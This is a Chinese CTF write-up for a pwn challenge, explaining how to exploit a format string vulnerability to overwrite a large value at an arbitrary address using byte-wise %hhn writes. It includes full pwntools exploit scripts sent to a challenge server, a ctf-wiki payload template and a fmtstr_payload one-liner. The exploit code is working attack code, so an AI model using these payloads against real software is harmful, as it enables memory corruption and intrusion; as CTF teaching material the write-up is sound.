Python网络安全格式字符串漏洞任意地址覆盖大数字详解
格式化字符串漏洞覆盖大数字时,如果选择一次性输出大数字个字节来进行覆盖,会很久很久,或者直接报错中断,所以来搞个攻防世界高手区的题目来总结一下
pwn高手区,实时数据监测这道题,就是格式化字符串漏洞覆盖大数字
文章图片
文章图片
题目运行时会直接告诉你key的地址,我们只需要利用imagemagic中的printf利用格式化字符串漏洞来覆盖就行了,但就像刚才说的,直接覆盖时间太久了而且会报错,所以可以想想别的办法
如果我们想覆盖key为0x02223322,那么根据小端存储,在内存中就是\x22 \x33 \x22 \x02,高地址放高位,低地址放低位
在格式化字符串中,%hhn会向某个地址写入单字节,%hn 会向某个地址写入双字节,单字节的用的比较多
在这道题中,要覆盖的地址为0x0804a048,要覆盖的数据为0x02223322,相当于
0x0804a048 \x220x0804a049 \x330x0804a04a \x220x0804a04b \x02
字符串偏移用%p计算出来为12
文章图片
所以payload构造如下
payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'
【Python网络安全格式字符串漏洞任意地址覆盖大数字详解】很麻烦,但是wiki中给出了一个模板,无论在x86还是x64下都能使用
模板如下
#prev表示前面已输出的字节#word表示应该输出的字节#index表示偏移量def fmt(prev, word, index):if prev < word:result = word - prevfmtstr = "%" + str(result) + "c"elif prev == word:result = 0else:result = 256 + word - prevfmtstr = "%" + str(result) + "c"fmtstr += "%" + str(index) + "$hhn"return fmtstr#offset表示起始偏移量,比如这题为12#size表示字节长度,x86为4,x64为8#addr表示要覆盖的地址,这题为0x0804a048#target表示要覆盖的值,这题为0x02223322def fmt_str(offset, size, addr, target):payload = ""for i in range(4):if size == 4:payload += p32(addr + i)else:payload += p64(addr + i)prev = len(payload)for i in range(4):#一次传送一个字节payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)prev = (target >> i * 8) & 0xffreturn payloadpayload = fmt_str(12,4,0x0804A048,0x02223322)
这里要注意一下prev > word的情况,因为已经输出的字符串大于了我们要输入的数值,所以前面加了256,一次只接受一个字节,用溢出来穿,比如prev = 2,word = 1,result = 255,再算上之前已经传的2,一共是257,溢出之后就是1,就是我们要传的数值
完整exp如下 我用的高版本乌班图,然后是python3,所以做了一些修改,来保证bytes和str
from pwn import *p = remote('111.200.241.244', '58464')# p = process("./hello_pwn")# p.recvuntil(b"Please closing the reaction kettle\n")# p.recvuntil(b"The switch is:0x4006b0\n")# p.recvuntil(b">\x00")# payload = p64(0x04005F6) + 35795745*b'\x00' + b'%12$n'#第12个参数 AAAA# payload = fmtstr_payload(12,{0x804a048:0x02223322})# payload = p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)+b'a'*() + b'%12$n'+b'a'*() + b'%13$n' + b'a'*()+b'%14$n' + b'a'*() + b'%15$n'def fmt(prev,word,index):if prev < word:result = word - prevfmtstr = ('%' + str(result) + 'c').encode()elif prev == word:result = 0else:result = 256 + word - prevfmtstr = ('%' + str(result) + 'c').encode()fmtstr += ('%' + str(index) + '$hhn').encode()return fmtstrdef fmt_str(offset,size,addr,target):payload = b""for i in range(4):if size == 4:payload += p32(addr + i)else:payload += p64(addr + i)prev = len(payload)for i in range(4):payload += fmt(prev, (target >> i *8) & 0xff, offset + i)prev = (target >> i * 8) & 0xffreturn payloadpayload =fmt_str(12,4,0x804a048,0x2223322)p.sendline(payload)p.interactive()
文章图片
参考ctf-wiki 跳转处
也可以直接用fmtstr_payload,它是pwntools中的一个工具,可以简化格式化字符串漏洞的利用
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte') → str
第一个参数为偏移,第二个参数{addr:value}表示写入的数据,第三个参数表示已输出的字符,这里默认值为0,我就没写,第四个参数表示写入参数一次写入的大小,有byte,short,int,对应hhn,hn,n
官方文档
exp如下
from pwn import *p = remote('111.200.241.244', '58464')payload = fmtstr_payload(12,{0x804a048:0x02223322})p.sendline(payload)p.interactive()
非常简短,很方便
以上就是Python网络安全格式字符串漏洞任意地址覆盖大数字详解的详细内容,更多关于Python格式化字符串漏洞覆盖大数字的资料请关注脚本之家其它相关文章!
推荐阅读
- python学习之|python学习之 实现QQ自动发送消息
- 逻辑回归的理解与python示例
- python自定义封装带颜色的logging模块
- 【Leetcode/Python】001-Two|【Leetcode/Python】001-Two Sum
- 视频转换器哪种好用()
- Python基础|Python基础 - 练习1
- Python爬虫|Python爬虫 --- 1.4 正则表达式(re库)
- Python(pathlib模块)
- python青少年编程比赛_第十一届蓝桥杯大赛青少年创意编程组比赛细则
- Python数据分析(一)(Matplotlib使用)